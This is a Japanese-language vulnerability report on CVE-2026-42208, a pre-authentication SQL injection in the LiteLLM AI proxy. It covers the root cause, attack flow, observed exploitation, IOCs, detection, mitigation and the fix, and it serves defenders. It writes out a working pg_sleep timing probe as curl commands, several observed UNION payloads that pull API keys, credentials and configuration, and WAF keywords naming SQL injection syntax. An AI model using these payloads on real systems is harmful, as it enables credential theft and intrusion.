CVE-2026-42208

CVE-2026-42208 Vulnerability Report

概要

項目 内容
CVE番号 CVE-2026-42208
GHSA GHSA-r75f-5x8p-qvmc
公開日 2026-04-20 (アドバイザリ)、2026-04-25 (GitHub Advisory Database indexed)
最終更新 2026-05-08 (CISA KEV追加)
CVSS v3.1 9.8 (Critical)
CVSS v4.0 9.3 (Critical)
CVSS Vector (v3.1) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Vector (v4.0) AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-89 (SQL Injection)
EPSS 【情報不足】(VulnCheckで確認要)
CISA KEV ✅ あり (追加日: 2026-05-08、期限: 2026-05-11)
発見者 Tencent YunDing Security Lab (LiteLLMバグバウンティ経由)
影響製品 BerriAI LiteLLM (AI Gateway / Proxy Server)
プロジェクト規模 45,000+ GitHub stars、~97M monthly PyPI downloads

影響を受けるソフトウェアおよびバージョン

技術詳細

脆弱性の概要

LiteLLM ProxyのAPIキー検証パスにおいて、データベースクエリが呼び出し元が指定したキー値をパラメータバインディングではなくSQLクエリテキストに直接連結している。未認証の攻撃者が細工された Authorization: Bearer ヘッダーを任意のLLM APIルート(例: POST /chat/completions)に送信し、Proxyのエラーハンドリングパスを通じてこの脆弱なクエリに到達することで、データベースからのデータ読み取りや改ざんが可能となる。

根本原因

脆弱性は litellm/proxy/utils.pyPrismaClient.get_data() メソッド内に存在する。table_name="combined_view" かつ query_type="find_unique" で呼び出された際、クエリがPythonのf-stringで構築され、token 変数がパラメータバインディングなしで直接SQLに埋め込まれる:

# ❌ 脆弱な実装 (v1.81.16–v1.83.6)
sql_query = f"""
    SELECT 
        v.*,
        t.spend AS team_spend, 
        ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
    ...
    WHERE v.token = '{token}'    ← ここでf-string展開、サニタイズなし
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)

トリガーの分岐ロジック:

  1. _hash_token_if_needed: sk- で始まるトークンのみSHA-256ハッシュ化。それ以外のプレフィックスは生文字列のまま通過。
  2. Path A (Python最適化): -O または PYTHONOPTIMIZE=1 で実行時、assert api_key.startswith("sk-") がスキップされ、生の攻撃者コントロール文字列が直接SQLシンクに到達。
  3. Path B (例外ハンドリング): AssertionErrorUserAPIKeyAuthExceptionHandler._handle_authentication_error() で捕捉され、post_call_failure_hook_enrich_failure_metadata_with_key_infoget_key_object(hashed_token=RAW_TOKEN)get_data(token=RAW_TOKEN) のチェーンでSQLインジェクションに到達。

💡 コードレビューの洞察: _enrich_failure_metadata_with_key_info 内の変数 api_key_hash は誤解を招く命名。実際には user_api_key_dict.api_key(生文字列)を保持している。「誤った変数名は脆弱性クラスの驚くほど永続的な原因である」(Bishop Fox)

攻撃フロー

HTTP request: Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL--
→ assert api_key.startswith("sk-") が失敗 (Path B)
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook 発火
→ _enrich_failure_metadata_with_key_info()
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← インジェクションポイント
→ PostgreSQLで pg_sleep(6) 実行 → レスポンスが6秒遅延

トリガー条件

RCE連鎖 (CVE-2026-42208 → CVE-2026-42203)

Miggo Securityの調査により、以下の2リクエスト連鎖でRCEが確認されている:

  1. CVE-2026-42208 (Pre-Auth SQLi): 仮想APIキーを盗む
  2. CVE-2026-42203 (Authenticated RCE): 盗んだキーで認証済みエンドポイントにアクセス、SSTI経由でコンテナ内RCE

"未認証のインターネット攻撃者が2リクエスト後に、すべてのAPIキー、すべてのプロンプト、すべてのレスポンスを仲介するコンテナ内でコードを実行"

PoC/Exploitの状況

項目 状況
公開PoC ✅ あり (複数リポジトリ)
Metasploitモジュール 【情報不足】(未確認)
Exploit成熟度 in-the-wild (実環境で悪用確認済み)
UNIONベース攻撃 確認済み (17種類のUNIONペイロード)
タイミングベースPoC 確認済み (pg_sleep)
スキャナー あり (ridhinva/litellm-scanner)

信頼できるPoCリポジトリ

リポジトリ 説明
imjdl/CVE-2026-42208_lab Docker環境 + タイミングベースBlind SQLi PoC
rootdirective-sec/cve-2026-42208-Lab 脆弱/修正インスタンスの比較ラボ (非破壊)
ridhinva/litellm-scanner LiteLLM SQLi スキャナー
Zeltoc/threat-intel-brief-cve-2026-42208-litellm 脅威インテリジェンスブリーフ

観測された実際の攻撃ペイロード (Sysdig)

sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT credential_values,NULL,NULL,NULL,NULL FROM litellm_credentials--
sk-litellm' UNION SELECT config_value,NULL,NULL,NULL,NULL FROM litellm_config WHERE param_name='environment_variables'--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM "LiteLLM_VerificationToken"--  ← PascalCaseリトライ
sk-litellm' OR 1=1--  ← 自動化ハネスの劣化

実被害・インシデント

✅ 実環境での悪用が確認されている

項目 詳細
初攻撃 2026-04-26 04:24 UTC (アドバイザリ公開から36時間7分後)
攻撃元IP 65.111.27.132, 65.111.25.67 (AS200373: 3xK Tech GmbH, Germany)
User-Agent Python/3.12 aiohttp/3.9.1
攻撃手法 17種類のUNIONベースペイロード、プリスマORMのケース知識あり
標的テーブル LiteLLM_VerificationToken, litellm_credentials, litellm_config
CISA KEV 2026-05-08に追加(連邦機関対応期限: 2026-05-11)

注目点:

検出方法

ブラックボックステスト

タイミングベース検出(非破壊・推奨)

# 脆弱なホスト: ~6秒、修正済みホスト: <100ms
curl -s -o /dev/null -w "%{time_total}s" \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL--" \
  http://<target>/v1/chat/completions

判定基準:

WAF/ログ検知ルール

Authorization ヘッダーに以下が含まれる場合にアラート:
- 単一引用符 (') を含む Bearer トークン (sk- プレフィックス以外)
- SQLキーワード: UNION, SELECT, FROM, OR, --, pg_sleep, WAITFOR
- "sk-litellm'" パターン

攻撃者IOC

IOCタイプ
送信元IP 65.111.27.132, 65.111.25.67
ASN AS200373 (3xK Tech GmbH, Germany)
User-Agent Python/3.12 aiohttp/3.9.1
HTTPメソッド POST /chat/completions (または /v1/chat/completions)
リクエストボディ 空または75バイト

ホワイトボックステスト

ソースコード脆弱パターン (ripgrep)

# 脆弱なf-string SQLパターンを検索
rg "WHERE.*token\s*=\s*'\{.*\}'" litellm/proxy/
rg "f\"\"\".*WHERE.*token" litellm/proxy/

# PrismaClient.get_dataのf-string使用箇所
rg "_query_first_with_cached_plan_fallback" litellm/proxy/utils.py

バージョン確認

# パッケージバージョン確認
pip show litellm | grep Version
# または
python -c "import litellm; print(litellm.__version__)"

対策

恒久的対策

  1. アップデート: v1.83.10-stable 以降にアップグレード(推奨)

    • 最小: v1.83.7-stable
    pip install litellm==1.83.10-stable
    # または
    uv pip install litellm==1.83.10-stable
    
  2. 侵害の前提: 影響バージョンでインターネットに公開されていたインスタンスは、ログの異常に関わらず侵害されたものとみなす

  3. 全資格情報のローテーション:

    • 仮想APIキー、マスターキー
    • 上流プロバイダーのAPIキー(OpenAI、Anthropic、AWS Bedrock等)
    • 環境変数、DB接続文字列
  4. PostgreSQLクエリ履歴の確認: LiteLLMが提供しているヘルパークエリで侵害の兆候を確認

暫定対策・軽減策

  1. 設定による回避 (部分的):

    general_settings:
      disable_error_logs: true
    
    • ⚠️ Path Bのみを緩和。アサーションがストリップされた環境ではPath A経由で依然として脆弱
  2. WAFルール (Miggo Copilot生成):

    • Bearerトークンが sk- で始まらない かつ SQLi構文 (', SELECT, UNION, OR, pg_sleep) を含む場合にブロック
    • 正常なリクエストには影響しない二重条件チェック
  3. ネットワーク制御:

    • AI Gatewayをインターネットに直接公開しない
    • 内部ネットワークまたは相互認証付きリバースプロキシに制限
  4. モニタリング:

    • 上流プロバイダーのログで、不審なIPからの /chat/completions トラフィックを監視
    • 予期しないIPからのマスターキー使用が最も強い monetization シグナル

修正パッチ詳細

項目 内容
修正コミット 65401138b5856c095b83cb7f0011cdfc352d30a4
修正コミットメッセージ fix: refactor, race condition handle, fstring sql injection
著者 Harshit Jain (harshitjain0562@gmail.com)
修正日 2026-02-03
変更ファイル数 2ファイル
変更行数 +28行 / -56行 (34行削減)

変更ファイル

  1. litellm/proxy/utils.py (65行変更: +9 / -56)
  2. litellm/proxy/management_endpoints/key_management_endpoints.py (19行変更: +16 / -3)
# ❌ 脆弱な実装 (v1.81.16–v1.83.6)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
    ...
    WHERE v.token = '{token}'    ← f-stringで直接埋め込み、パラメータバインディングなし
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
# ✅ 修正後の実装 (v1.83.7+)
# deprecatedキーのルックアップもPrisma ORMの型付きAPIに置き換え
deprecated_row = await self.db.litellm_deprecatedverificationtoken.find_first(
    where={
        "token": hashed_token,
        "revoke_at": {"gt": datetime.now(timezone.utc)},
    },
    select={"active_token_id": True},
)
if deprecated_row and deprecated_row.active_token_id:
    # combined_viewルックアップもget_data()経由でパラメータバインド
    response = await self.get_data(
        token=deprecated_row.active_token_id,
        table_name="combined_view",
        query_type="find_unique",
        parent_otel_span=parent_otel_span,
        proxy_logging_obj=proxy_logging_obj,
    )

key_management_endpoints.py — キーローテーションのレースコンディション修正

# ❌ 修正前: create()でユニーク制約違反のリスク
await prisma_client.db.litellm_deprecatedverificationtoken.create(
    data={
        "token": hashed_api_key,
        "active_token_id": new_token_hash,
        "revoke_at": revoke_at,
    }
)

# ✅ 修正後: upsert()で同時ローテーションを安全に処理
await prisma_client.db.litellm_deprecatedverificationtoken.upsert(
    where={"token": hashed_api_key},
    data={
        "create": {
            "token": hashed_api_key,
            "active_token_id": new_token_hash,
            "revoke_at": revoke_at,
        },
        "update": {
            "active_token_id": new_token_hash,
            "revoke_at": revoke_at,
        },
    },
)

パッチの分析

  1. f-string SQLの完全除去: _query_first_with_cached_plan_fallback への直接SQL呼び出しを、Prisma ORMの型付きAPI (find_first, get_data) に置き換え
  2. deprecatedキーのルックアップ改善: 生のf-string SQL → litellm_deprecatedverificationtoken.find_first()
  3. レースコンディション修正: キーローテーション時に create()upsert() に変更し、同時実行時のユニーク制約違反を防止
  4. スキーママイグレーション不要: アプリケーションレベルの修正のみ

再現環境

Docker Composeによる再現 (rootdirective-sec方式)

# リポジトリのクローン
git clone https://github.com/rootdirective-sec/cve-2026-42208-Lab.git
cd cve-2026-42208-Lab

# 環境起動 (脆弱:8081 / 修正済み:8082)
docker compose up -d

# ヘルスチェック
docker compose ps

# PoC実行 (脆弱インスタンス)
python poc/poc.py --url http://127.0.0.1:8081
# 期待結果: baseline=0.04s, probe=6.04s → LIKELY VULNERABLE

# PoC実行 (修正済みインスタンス)
python poc/poc.py --url http://127.0.0.1:8082
# 期待結果: baseline=0.03s, probe=0.02s → LIKELY PATCHED

# 後片付け
docker compose down -v

Git clone + チェックアウトによる再現

WORKDIR=$(mktemp -d /tmp/vuln-lab-XXXXXX)
cd "$WORKDIR"

git clone --depth 1 https://github.com/BerriAI/litellm.git
cd litellm

# 脆弱バージョンにチェックアウト
git fetch --depth 1 origin v1.83.6-nightly
git checkout v1.83.6-nightly

# 依存関係インストール
uv pip install -e ".[proxy]"

# PostgreSQL起動 + LiteLLM設定
# config.yamlにDB接続情報を設定

# プロキシ起動
litellm --config config.yaml

# 脆弱性確認
curl -s -o /dev/null -w "%{time_total}s" \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NOT NULL--" \
  http://localhost:4000/v1/chat/completions
# → 3秒以上の応答で脆弱性確認

戦略的提言

  1. AIプロキシをシークレットマネージャーとして扱う: IdPレベルの脅威モデリングを適用。分離された最小権限環境で実行し、独立したシークレットストアを使用
  2. 資格情報のコンパートメント化: プロキシティアでプールするのではなく、ダウンストリームワークロード/モデル/バジェットごとにスコープ
  3. ローテーションサイクルの短縮: 侵害の疑いとは無関係にキーローテーション間隔を短縮
  4. 継続的モニタリング: 盗まれた資格情報がプロキシ層の外で使用されていることを示すLLM API使用パターンの異常検知
  5. ディフェンスの現実: 36時間の悪用ウィンドウは、パッチ/ローテーションが日和見攻撃者の到達速度を上回る必要があることを証明

参考資料

公式情報源

技術分析

PoC/Exploit/ツール

修正コミット

変更履歴

日付 変更内容
2026-05-25 初版作成 — vulnerability-research skill v2.0.0 ワークフロー準拠

VulnCheck KEV

悪用事例